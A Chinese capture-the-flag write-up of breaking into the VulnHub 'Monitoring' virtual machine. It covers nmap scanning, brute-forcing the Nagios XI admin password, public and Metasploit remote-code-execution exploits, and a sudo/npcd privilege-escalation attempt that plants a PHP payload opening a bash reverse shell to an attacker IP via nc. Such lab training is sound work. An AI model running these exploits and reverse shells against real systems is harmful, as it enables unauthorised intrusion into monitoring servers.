实战打靶集锦-31-monitoring

文章目录

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
    • 4.1 ssh服务
    • 4.2 smtp服务
    • 4.3 http/https服务
  • 5. 系统提权
    • 5.1 枚举系统信息
    • 5.2 枚举passwd文件
    • 5.3 枚举定时任务
    • 5.4 linpeas提权
  • 6. 获取flag

靶机地址:https://download.vulnhub.com/monitoring/Monitoring.ova


1. 主机发现

目前只知道目标靶机在192.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.192.0/24

在这里插入图片描述

锁定靶机IP地址为192.168.192.132.

2. 端口扫描

针对目标靶机进行端口扫描。

$ sudo nmap -p- 192.168.192.132

在这里插入图片描述

3. 服务枚举

通过下面的命令扫描一下目标靶机开放端口上运行的服务。

$ sudo nmap -A -p22,25,80,389,443,5667 -sV -sT 192.168.192.132

在这里插入图片描述

4. 服务探查

服务不多,逐个试试看。

4.1 ssh服务

先试试22端口上的ssh服务。

$ ssh root@192.168.192.132

在这里插入图片描述

试了一下,可以访问,这为后面的爆破提供了可能。

4.2 smtp服务

试试25端口上的smtp服务。

$ telnet 192.168.192.132 25

在这里插入图片描述
这个端口可以用,不过还不太会,上网搜索一番。

$ nc 192.168.192.132 25

在这里插入图片描述
返回250说明响应成功,使用EHLO可以查看支持的各种扩展列表。

EHLO 192.168.192.132

在这里插入图片描述
再进一步试一下。
在这里插入图片描述
嗯,看来是可以用的,并且存在一个root@localhost的邮箱,根据后面探查的结果再回来看。

4.3 http/https服务

直接用浏览器访问一下。
在这里插入图片描述
可以访问,不过不知道Nagios是个啥玩意儿,搜索了一下,貌似是一个在线监控的工具。仔细浏览一下看看,发现有登录页面,如下图。
在这里插入图片描述
随便输入登录一下试试。
在这里插入图片描述
貌似没法枚举账号,尝试忘记密码试试看。
在这里插入图片描述
额,貌似跟邮件系统有了关联。可惜一顿折腾也没有搞定邮件系统。还是返回来进行目录枚举一下。

$ dirsearch -u http://192.168.192.132:80/

在这里插入图片描述
没发现有用的内容,还是尝试爆破一下root账号试试看,结果也失败了。还是上网看看有什么有用的信息吧。再官网上找到了一个安装指南(https://assets.nagios.com/downloads/nagiosxi/docs/installation-manual-of-Nagios-XI-2024.pdf),这里面默认用了一个nagiosadmin的管理员账号,如下图。
在这里插入图片描述
尝试用rockyou爆破一下这个账号试试。
在这里插入图片描述
最后爆破出来的nagiosadmin用户的密码是admin,手工登录看看。
在这里插入图片描述
登录成功,版本为Nagios XI 5.6.0。直接searchsploit搜索一下这个版本上有啥可以利用的漏洞。

$ searchsploit “Nagios XI”

在这里插入图片描述
貌似可以利用的EXP还不少,我们倒着看编号为49422的RCE漏洞。
首先再kali上4444端口建立监听。

$ nc -lvnp 4444

然后按照脚本提示,直接执行EXP。

$ python3 49422.py http://192.168.192.132 nagiosadmin admin 192.168.192.129 4444

在这里插入图片描述
顺利突破了边界,获得了反弹shell,如下图所示。
在这里插入图片描述

5. 系统提权

先优化一下shell。

www-data@ubuntu:/usr/local/nagiosxi/html/admin$ whereis python
www-data@ubuntu:/usr/local/nagiosxi/html/admin$ /usr/bin/python3.5 -c "import  pty; pty.spawn('/bin/bash')"

5.1 枚举系统信息

$ uname -a
$ cat /etc/*-release

是64位的ubuntu 16.04。
在这里插入图片描述

5.2 枚举passwd文件

$ cat /etc/passwd | grep -v nologin

在这里插入图片描述
正常的shell用户也不多。

5.3 枚举定时任务

枚举一下定时任务试试看。
在这里插入图片描述
没有合适的。

5.4 linpeas提权

直接使用linpeas提取。

$ chmod u+x linpeas.sh
$ sh linpeas.sh

下图所示的三个EXP是非常有可能的。
在这里插入图片描述

我们逐个试一下。

$ searchsploit -m 45010

然后在ubuntu 16.04上面编译一下。

$ gcc 45010.c -o 45010

然后上传到靶机的/tmp目录下执行一下试试看。

$ chmod u+x 45010
$ ./45010

在这里插入图片描述
提权失败,再试试第二个。
在这里插入图片描述
第二个直接卡住了,再试试第三个。
在这里插入图片描述
第三个也是没啥动静,宣告失败。
接着往下看,在sudo -l下面,有比较多有意思的内容,如下图所示。
在这里插入图片描述
看不太懂,不太会用,上网搜索下,发现有篇文章对(https://www.tenable.com/security/research/tra-2020-61)这个有一些总结性说明。现在尝试一下。

$ sudo /usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=127.0.0.1/1 --output=/usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php
$ sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
$ echo -e "user = nagios\ngroup = nagios\nlog_type = file\nlog_file = /usr/local/nagios/var/npcd.log\nmax_logfile_size = 10485760\nlog_level = 0\nperfdata_spool_dir = /usr/local/nagiosxi/scripts/components/\nperfdata_file_run_cmd = /usr/bin/curl\nperfdata_file_run_cmd_args = file:///usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/autodiscover_new.php -o /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php\nnpcd_max_threads = 5\nsleep_time = 15\nload_threshold = 10.0\npid_file=/usr/local/nagiosxi/var/subsys/npcd.pid\n\n# scrappy" > /usr/local/nagios/etc/pnp/npcd.cfg
$ echo -e "\x3c\x3fphp system('/bin/bash -i 2>&1 | nc 192.168.192.129 5555'); \x3f\x3e" > /usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/autodiscover_new.php
$ sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd
$ sudo /usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php test

可惜的是,监听一直反弹成功。从好多的现象来看,nagios用户的权限貌似比www-data要高,想办法切换到nagios用户试试看,直接用hydra爆破一下。

$ hydra -l nagios -P ../../rockyou.txt -vV -e ns 192.168.192.132 ssh

在这里插入图片描述
半天也没有结果,看来得想其它办法了。利用神器metasploit试试看。

$ msfconsole
msf6 > search nagios

在这里插入图片描述
看不太懂,不管了把Rank为Excellent并且Check为Yes的都试一下。
最后发现行号为19的EXP可以成功,如下所示。

msf6 > use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set PASSWORD admin
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set RHOSTS 192.168.192.132
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LHOST 192.168.192.129
msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run

在这里插入图片描述
直接进来就是root权限,这个EXP比较牛逼。

6. 获取flag

在这里插入图片描述
成功获得flag,本次打靶到此结束。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/872890.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

django学习入门系列之第四点《BootStrap依赖》

文章目录 往期回顾 BootStrap依赖于JavaScript的类库,JQuery下载 下载JQuery,在界面上应用JQuery 在页面上应用BootStrap和avaScript的类库【JQuery是avaScript的类库】 JQuery的官网: jQuery 如果要应用JQuery 则要在body里面导入文件…

[Java后端面试题1]2024-07-16

TIME_WAIT与CLOSE_WAIT的区别 TIME_WAIT 和 CLOSE_WAIT 是 TCP 连接状态的一部分,用于描述连接在不同阶段的状态。它们有以下主要区别: TIME_WAIT 定义: 这是主动关闭连接的一方在发送了最后一个 ACK 后进入的状态。出现原因: 确保远程 TCP 协议收到最…

react中状态管理useState

[secret,setSecret]useState(null)useEffect(() > {http.get(/api/suggest/qrcode/, { params: { uniqueid: store.uniqueid } }).then(res > {//异步获取的值不是实时返回的setSecret(res.secret);return http.get(/api/suggest/userinfo/, { params: { secret: secret …

Mysql8.4参考手册走读(六)

MySQL 8.4 常见问题解答:服务器 SQL 模式 问题答案什么是服务器 SQL 模式?服务器 SQL 模式定义了 MySQL 应支持的 SQL 语法和它应该执行哪种类型的数据验证检查。这使在不同环境中使用 MySQL 变得更加容易,并且将 MySQL 与其他数据库服务器一…

MySQL(7)内外连接+索引

目录 1.内外连接; 2. 索引; 1.内外连接: 1.1内连接: 语法: select 字段 from 表名 inner join 表名 on 字段限制; 1.2 外连接: 分为左右外连接; (1)左外连接: 语法: select * from 表名 left join 表名 on 字段限制. 🌰查询所有学生的成绩,如果这个学生…

【C++】编程新思想,通过封装新的类创建新的数据类型

我们可以通过封装一个新的C++类来实现新的数据类型的定义。 目录 优点: 主要方法: show(); reset(); use(); change(); operator++(): operator++(int); operator--() ; self_increase(); self_reduction(); 完整代码: 优点: 用新的名字代替原有数据类型名…

什么才是好用的大模型?

随着大模型在千行百业的逐步落地,中国基础大模型正直面来自用户端的诸多拷问。 近日,随着OpenAI宣布禁止中国用户使用其API,更多的国产大模型都在提供替代方案和优惠措施,来吸引和支持开发者进行用户迁移。 这既是一次挑战&…

多多OJ评测系统 前端项目环境初始化 安装Vue脚手架 引入Arco Design组件

目录 确定环境 命令行输入 装一下脚手架 监测一下是否安装成功 创建一个项目 选择一系列的配置后 我们打开webStorm 配置脚手架后我们先运行 我们这边能获取到网址 其实我们脚手架已经帮我们做到了 接下来要引入相关的组件 选择用npm进行安装 我们建议的是完整引入…

UDP客户端、服务端及简易聊天室实现 —— Java

UDP 协议(用户数据包协议) UDP 是无连接通信协议,即在数据传输时,数据的发送端和接收端不建立逻辑连接,简单来说,当客户端向接收端发送数据时,客户端不会确认接收端是否存在,就会发出…

windows镜像下载网站

一个专注于提供精校、完整、极致的Windows系统下载服务的仓储站,网站托管于Github。 网站:https://hellowindows.cn/ 下载方式:ED2k,BT,百度网盘 MSDN - 山己几子木,提供Windows 11、Windows 10等不同版本…

单例模式Singleton

设计模式 23种设计模式 Singleton 所谓类的单例设计模式,就是采取一定的方法保证在整个的软件系统中,对某个类只能存在一个对象实例,并且该类只提供一个取得其对象实例的方法。 饿汉式 public class BankTest {public static void main(…

Qt模型/视图架构——委托(delegate)

一、为什么需要委托 模型(model)用来数据存储,视图(view)用来展示数据。因此,模型/视图架构是一种将数据存储和界面展示分离的编程方法。具体如下图所示: 由图可知,模型向视图提供数…

python 迭代器介绍 map() 函数

迭代器(Iterator)在Python中是一种可以记住遍历位置的对象。迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完为止。迭代器只能往前不会后退,也就是只能前进遍历,不能反向遍历或跳过元素。迭代器在Python…

oracle备份和恢复-----从全库备份中恢复用户库解题思路

文章目录 从全库备份中恢复用户库的思路备份全库恢复用户库 从全库备份中恢复用户库的思路 备份全库 第一步:使用系统用户将oracle整个导出备份----全库备份 1.exp system/system buffer65536 feedback100000 fully fileD:/exp.dmp logexp.log ---导出备份文件位…

响应式编程:Project Reactor与WebFlux

在现代Web应用程序中,响应式编程成为一种越来越流行的方法,以处理高并发和高吞吐量。响应式编程不仅仅是一种新的编程范式,它还引入了一套新的工具和技术来处理数据流和异步事件。本文将深入探讨Project Reactor与Spring WebFlux,…

3D问界—MAYA制作铁丝栅栏(透明贴图法)

当然,如果想通过建立模型法来实现铁丝栅栏的效果,也不是不行,可以找一下栅栏建模教程。本篇文章主要是记录一下如何使用透明贴图来实现创建铁丝栅栏,主要应用于场景建模,比如游戏场景、建筑场景等大环境,不…

PGCCC|【PostgreSQL】PG考证对工作上有什么好处# PG证书

认证 PostgreSQL 考证(PostgreSQL Certification)在工作上有以下几个好处: 增强专业能力:通过考证,可以系统地学习和掌握 PostgreSQL 数据库的知识和技能,提高自己的专业水平。 提升职业竞争力&#xff1…

CentOS 7 初始化环境配置详细

推荐使用xshell远程连接,如链接不上 请查看 CentOS 7 网络配置 修改主机名 hostname hostnamectl set-hostname xxx bash 关闭 SElinux 重启之后生效 配置yum源(阿里) 先备份CentOS-Base.repo,然后再下载 mv /etc/yum.repos…

JAVA Math类详细介绍

Math类常见方法: 1)abs 绝对值 2)pow 求幂 3)ceil 向上取整 4)floor 向下取整 5)round 四舍五入 6)sqrt 求开方 7)random 求随机数 //思考:请写出获取 a-b之间的一个随机整数…

android R ext4 image打包脚本介绍

一、Android R打包指令使用介绍 (1)mkuserimg_mke2fs #./mkuserimg_mke2fs --help usage: mkuserimg_mke2fs [-h] [--android_sparse] [--journal_size JOURNAL_SIZE][--timestamp TIMESTAMP] [--fs_config FS_CONFIG][--product_out PRODUCT_OUT][--b…